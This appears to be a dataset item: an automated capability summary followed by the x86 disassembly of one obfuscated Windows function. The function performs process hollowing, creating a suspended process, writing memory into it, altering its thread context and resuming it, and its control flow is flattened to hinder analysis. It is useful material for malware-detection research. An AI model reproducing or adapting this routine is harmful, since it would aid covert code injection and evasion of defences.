Function at 0x10006e30
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xf8
mov eax, dword [0x1006d400]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x100], 0x58c4c066
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x104], eax
sub eax, 0x80aaab30
je 0x10009fac
jmp 0x10006e6c
mov eax, dword [ebp - 0x104]
sub eax, 0x80c586f5
je 0x1000b8af
jmp 0x10006e82
mov eax, dword [ebp - 0x104]
sub eax, 0x815010a9
je 0x1000e1f8
jmp 0x10006e98
mov eax, dword [ebp - 0x104]
sub eax, 0x817097ff
je 0x1000ead1
jmp 0x10006eae
mov eax, dword [ebp - 0x104]
sub eax, 0x81a71d49
je 0x1000c8cc
jmp 0x10006ec4
mov eax, dword [ebp - 0x104]
sub eax, 0x81e9d360
je 0x1000eb29
jmp 0x10006eda
mov eax, dword [ebp - 0x104]
sub eax, 0x8273bc32
je 0x1000e54c
jmp 0x10006ef0
mov eax, dword [ebp - 0x104]
sub eax, 0x82992cea
je 0x10009f6e
jmp 0x10006f06
mov eax, dword [ebp - 0x104]
sub eax, 0x82a33107
je 0x1000abbf
jmp 0x10006f1c
mov eax, dword [ebp - 0x104]
sub eax, 0x82d099d3
je 0x1000cabd
jmp 0x10006f32
mov eax, dword [ebp - 0x104]
sub eax, 0x82e56e1b
je 0x1000985d
jmp 0x10006f48
mov eax, dword [ebp - 0x104]
sub eax, 0x8335acc7
je 0x1000ae8c
jmp 0x10006f5e
mov eax, dword [ebp - 0x104]
sub eax, 0x83381746
je 0x1000d84e
jmp 0x10006f74
mov eax, dword [ebp - 0x104]
sub eax, 0x83a2ccde
je 0x1000e191
jmp 0x10006f8a
mov eax, dword [ebp - 0x104]
sub eax, 0x84620578
je 0x1000d12d
jmp 0x10006fa0
mov eax, dword [ebp - 0x104]
sub eax, 0x84a3f692
je 0x1000b066
jmp 0x10006fb6
mov eax, dword [ebp - 0x104]
sub eax, 0x84bf0db6
je 0x1000f0eb
jmp 0x10006fcc
mov eax, dword [ebp - 0x104]
sub eax, 0x84ce2a4e
je 0x1000a446
jmp 0x10006fe2
mov eax, dword [ebp - 0x104]
sub eax, 0x84ec9551
je 0x1000ed00
jmp 0x10006ff8
mov eax, dword [ebp - 0x104]
sub eax, 0x85df2133
je 0x1000e4d6
jmp 0x1000700e
mov eax, dword [ebp - 0x104]
sub eax, 0x89478c3f
je 0x10009c92
jmp 0x10007024
mov eax, dword [ebp - 0x104]
sub eax, 0x89a2a91b
je 0x100097d7
jmp 0x1000703a
mov eax, dword [ebp - 0x104]
sub eax, 0x8af6bd3f
je 0x1000b450
jmp 0x10007050
mov eax, dword [ebp - 0x104]
sub eax, 0x8b5707e3
je 0x1000a823
jmp 0x10007066
mov eax, dword [ebp - 0x104]
sub eax, 0x8ce644c3
je 0x1000e062
jmp 0x1000707c
mov eax, dword [ebp - 0x104]
sub eax, 0x8d79e99f
je 0x1000e348
jmp 0x10007092
mov eax, dword [ebp - 0x104]
sub eax, 0x8db58797
je 0x1000cdf6
jmp 0x100070a8
mov eax, dword [ebp - 0x104]
sub eax, 0x8df5a1c8
je 0x1000a670
jmp 0x100070be
mov eax, dword [ebp - 0x104]
sub eax, 0x8eeefab7
je 0x1000a100
jmp 0x100070d4
mov eax, dword [ebp - 0x104]
sub eax, 0x8f847907
je 0x1000e816
jmp 0x100070ea
mov eax, dword [ebp - 0x104]
sub eax, 0x8fe80916
je 0x1000ac0a
jmp 0x10007100
mov eax, dword [ebp - 0x104]
sub eax, 0x8ffa973c
je 0x1000ca9e
jmp 0x10007116
mov eax, dword [ebp - 0x104]
sub eax, 0x90d81583
je 0x1000b757
jmp 0x1000712c
mov eax, dword [ebp - 0x104]
sub eax, 0x9181515b
je 0x1000b075
jmp 0x10007142
mov eax, dword [ebp - 0x104]
sub eax, 0x91abce9e
je 0x1000d94b
jmp 0x10007158
mov eax, dword [ebp - 0x104]
sub eax, 0x91e93c6e
je 0x1000d496
jmp 0x1000716e
mov eax, dword [ebp - 0x104]
sub eax, 0x935dc02e
je 0x1000ec84
jmp 0x10007184
mov eax, dword [ebp - 0x104]
sub eax, 0x9361ef67
je 0x10009f9d
jmp 0x1000719a
mov eax, dword [ebp - 0x104]
sub eax, 0x941e09ed
je 0x1000eae0
jmp 0x100071b0
mov eax, dword [ebp - 0x104]
sub eax, 0x9423556b
je 0x1000f08f
jmp 0x100071c6
mov eax, dword [ebp - 0x104]
sub eax, 0x946f2c93
je 0x1000a3b1
jmp 0x100071dc
mov eax, dword [ebp - 0x104]
sub eax, 0x9491c549
je 0x1000c249
jmp 0x100071f2
mov eax, dword [ebp - 0x104]
sub eax, 0x9588091f
je 0x1000a87e
jmp 0x10007208
mov eax, dword [ebp - 0x104]
sub eax, 0x961eb93b
je 0x1000b15b
jmp 0x1000721e
mov eax, dword [ebp - 0x104]
sub eax, 0x96b76ce9
je 0x1000e909
jmp 0x10007234
mov eax, dword [ebp - 0x104]
sub eax, 0x96bc50dd
je 0x1000eff5
jmp 0x1000724a
mov eax, dword [ebp - 0x104]
sub eax, 0x9700fb82
je 0x1000a96c
jmp 0x10007260
mov eax, dword [ebp - 0x104]
sub eax, 0x971c8331
je 0x1000ef6b
jmp 0x10007276
mov eax, dword [ebp - 0x104]
sub eax, 0x978b2b7e
je 0x1000a85f
jmp 0x1000728c
mov eax, dword [ebp - 0x104]
sub eax, 0x987509ef
je 0x1000a89d
jmp 0x100072a2
mov eax, dword [ebp - 0x104]
sub eax, 0x98a292be
je 0x1000e436
jmp 0x100072b8
mov eax, dword [ebp - 0x104]
sub eax, 0x99502e10
je 0x10009577
jmp 0x100072ce
mov eax, dword [ebp - 0x104]
sub eax, 0x99e405c6
je 0x1000f0dc
jmp 0x100072e4
mov eax, dword [ebp - 0x104]
sub eax, 0x9a5d5741
je 0x1000f023
jmp 0x100072fa
mov eax, dword [ebp - 0x104]
sub eax, 0x9bae86a7
je 0x1000d2ae
jmp 0x10007310
mov eax, dword [ebp - 0x104]
sub eax, 0x9d196975
je 0x1000d626
jmp 0x10007326
mov eax, dword [ebp - 0x104]
sub eax, 0x9d424d8c
je 0x1000a652
jmp 0x1000733c
mov eax, dword [ebp - 0x104]
sub eax, 0x9e56eeb7
je 0x1000b825
jmp 0x10007352
mov eax, dword [ebp - 0x104]
sub eax, 0x9ec774bf
je 0x10009655
jmp 0x10007368
mov eax, dword [ebp - 0x104]
sub eax, 0x9fd8c62e
je 0x1000bcc7
jmp 0x1000737e
mov eax, dword [ebp - 0x104]
sub eax, 0xa09578c0
je 0x1000cf9f
jmp 0x10007394
mov eax, dword [ebp - 0x104]
sub eax, 0xa1ed2e7a
je 0x1000b8dc
jmp 0x100073aa
mov eax, dword [ebp - 0x104]
sub eax, 0xa359a160
je 0x1000ccf1
jmp 0x100073c0
mov eax, dword [ebp - 0x104]
sub eax, 0xa3bdb250
je 0x1000df19
jmp 0x100073d6
mov eax, dword [ebp - 0x104]
sub eax, 0xa4364e96
je 0x10009a74
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
add edx, 0x209f7dc
sub edx, 1
sub edx, 0x209f7dc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x935dc02e
mov ecx, 0xdfcad2a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
mov edx, eax
add edx, 0x7677e9c5
sub edx, 1
sub edx, 0x7677e9c5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x26161817
mov ecx, 0x4ecfe08e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
movss xmm0, dword [0x1001c228]
movss dword [ebp - 0xe0], xmm0
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
add edx, 0x79acb54a
sub edx, 1
sub edx, 0x79acb54a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x28e8eb02
mov ecx, 0x82e56e1b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov dword [ebp - 0x100], 0xed1bf5e5
jmp 0x1000f4e5
mov dword [ebp - 0x100], 0x2922d50b
jmp 0x1000f4e5
movss xmm0, dword [0x1001c37c]
movss dword [ebp - 0xe4], xmm0
movss xmm0, dword [0x1001c378]
movss dword [ebp - 0xe4], xmm0
mov dword [ebp - 0x100], 0x9361ef67
jmp 0x1000f4e5
mov dword [ebp - 0x100], 0x80aaab30
jmp 0x1000f4e5
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4f111c04
mov ecx, 0xd2e31d34
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
sub edx, 0x6d6d92c4
sub edx, 1
add edx, 0x6d6d92c4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x72930760
mov ecx, 0xe9b100d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
movss xmm0, dword [0x1001c358]
movss dword [ebp - 0xe8], xmm0
mov dword [ebp - 0x100], 0x66f41cfa
jmp 0x1000f4e5
movss xmm0, dword [0x1001c208]
movss dword [ebp - 0xe8], xmm0
movss xmm0, dword [0x1001c204]
movss dword [ebp - 0xe8], xmm0
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
add edx, 0xd26a9d03
sub edx, 1
sub edx, 0xd26a9d03
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2b11ef28
mov ecx, 0x2dab3a4a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov dword [ebp - 0x100], 0x677c6851
jmp 0x1000f4e5
movss xmm0, dword [0x1001c348]
movss dword [ebp - 0xe8], xmm0
mov dword [ebp - 0x100], 0xaeee7bf8
jmp 0x1000f4e5
movss xmm0, dword [0x1001c334]
movss dword [ebp - 0xe8], xmm0
mov dword [ebp - 0x100], 0xfeb3f07f
jmp 0x1000f4e5
movss xmm0, dword [0x1001c330]
movss dword [ebp - 0xe8], xmm0
mov dword [ebp - 0x100], 0x9588091f
jmp 0x1000f4e5
movss xmm0, dword [0x1001c32c]
movss dword [ebp - 0xe8], xmm0
mov dword [ebp - 0x100], 0x987509ef
jmp 0x1000f4e5
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
mov edx, eax
add edx, 0x88fa70a2
sub edx, 1
sub edx, 0x88fa70a2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x687c8917
mov ecx, 0x33181951
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov dword [ebp - 0x100], 0x18cacfa5
jmp 0x1000f4e5
mov dword [ebp - 0x100], 0x5f7e672c
jmp 0x1000f4e5
movss xmm0, dword [0x1001c31c]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0x100], 0x5c44f5dd
jmp 0x1000f4e5
mov dl, 1
mov eax, 0x9181515b
mov ecx, 0xc41f59e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov dword [ebp - 0x100], 0x9181515b
jmp 0x1000f4e5
movss xmm0, dword [0x1001c30c]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0x100], 0xe579832f
jmp 0x1000f4e5
mov dl, 1
mov eax, 0x1f46808d
mov ecx, 0xdfaeadfc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
mov edx, eax
sub edx, 0x1d34612a
sub edx, 1
add edx, 0x1d34612a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x971c8331
mov ecx, 0x6fa3c743
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov dword [ebp - 0x100], 0xce7be677
jmp 0x1000f4e5
mov dl, 1
mov eax, 0xbfef61cd
mov ecx, 0xf3bdae54
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
movss xmm0, dword [0x1001c2c4]
movss dword [ebp - 0xf4], xmm0
mov dl, 1
mov eax, 0xd9471f46
mov ecx, 0xa1ed2e7a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
movss xmm0, dword [0x1001c2c0]
movss dword [ebp - 0xf4], xmm0
movss xmm0, dword [0x1001c2bc]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x100], 0xad3dbf8f
jmp 0x1000f4e5
movss xmm0, dword [0x1001c1c8]
movss dword [ebp - 0xf4], xmm0
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
add edx, 0x4ce9622f
sub edx, 1
sub edx, 0x4ce9622f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc275a847
mov ecx, 0x7a1ba96e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
movss xmm0, dword [0x1001c27c]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x100], 0x209c0245
jmp 0x1000f4e5
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x61ea92bc
mov ecx, 0xee078d1b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
movss xmm0, dword [0x1001c258]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x100], 0x82d099d3
jmp 0x1000f4e5
movss xmm0, dword [0x1001c254]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x100], 0xcf587271
jmp 0x1000f4e5
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
add edx, 0x1fc59e58
sub edx, 1
sub edx, 0x1fc59e58
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf721340b
mov ecx, 0x812337c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
movss xmm0, dword [0x1001c24c]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x100], 0x65e7ea27
jmp 0x1000f4e5
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaa58c54f
mov ecx, 0x19808d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
movss xmm0, dword [0x1001c240]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x100], 0xbb2b6ac
jmp 0x1000f4e5
mov dword [ebp - 0x100], 0x52d02fed
jmp 0x1000f4e5
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
sub edx, 0xceb892fe
sub edx, 1
add edx, 0xceb892fe
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x52a9b4ef
mov ecx, 0x3a6400ca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0xf17e1083
mov ecx, 0xa6c81e61
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xcc]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xdc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
add eax, 0x5b18158e
add eax, 0x18
sub eax, 0x5b18158e
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
add eax, 4
add eax, 0x10
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x100], 0xd8b92fc7
jmp 0x1000f4e5
mov eax, dword [ebp - 0x6c]
movzx edx, word [eax]
mov ecx, dword [ebp - 0x70]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa8]
mov dword [eax], 0
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xa4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa0]
mov dword [eax], 0
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
add edx, 0xbd8bc842
sub edx, 1
sub edx, 0xbd8bc842
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd0812ee3
mov ecx, 0xcb10571e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov dl, byte [ebp - 0x3a]
mov eax, 0x96b76ce9
mov ecx, 0xcd766757
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x786e9f9b
mov ecx, 0xe7d810d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x37579f1c
mov ecx, 0xeac5e60a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
sub edx, 0x283df415
sub edx, 1
add edx, 0x283df415
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x32739b2b
mov ecx, 0x2b0f6c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
mov edx, eax
add edx, 0xf487ab99
sub edx, 1
sub edx, 0xf487ab99
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2405b292
mov ecx, 0xdea14c03
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov edx, dword [ebp - 0x8c]
mov edx, dword [edx]
movzx eax, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, eax
xor edx, esi
and edx, eax
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x88]
mov dword [eax], ecx
mov eax, dword [ebp - 0x88]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xcc]
mov edx, dword [eax]
mov eax, dword [ebp - 0x84]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x14c90304
mov ecx, 0x85df2133
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
add edx, 0xe8f9b0c9
sub edx, 1
sub edx, 0xe8f9b0c9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x48b15cdd
mov ecx, 0x8273bc32
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
mov edx, eax
sub edx, 0xbda9bf73
sub edx, 1
add edx, 0xbda9bf73
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x48b15cdd
mov ecx, 0x55855b8f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
sub edx, 0xc4e6933
sub edx, 1
add edx, 0xc4e6933
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7f3ccfb4
mov ecx, 0x5e5938ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
add eax, 0x104d7e9
add eax, 8
sub eax, 0x104d7e9
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x100], 0x116a221b
jmp 0x1000f4e5
mov dword [ebp - 0x100], 0x941e09ed
jmp 0x1000f4e5
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7410b4d9
mov ecx, 0x81e9d360
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
sub edx, 0xeb38e7f0
sub edx, 1
add edx, 0xeb38e7f0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7410b4d9
mov ecx, 0xf51e29
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000f4e5
movss xmm0, dword [0x1001c230]
movss dword [ebp - 0xe0], xmm0
mov dword [ebp - 0x100], 0xdfcad2a1
jmp 0x1000f4e5
movss xmm0, dword [0x1001c220]
movss dword [ebp - 0xe0], xmm0
mov dword [ebp - 0x100], 0x750de3c9
jmp 0x1000f4e5
movss xmm0, dword [0x1001c1d4]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x100], 0x6fa3c743
jmp 0x1000f4e5
mov dword [ebp - 0x100], 0xcf15c436
jmp 0x1000f4e5
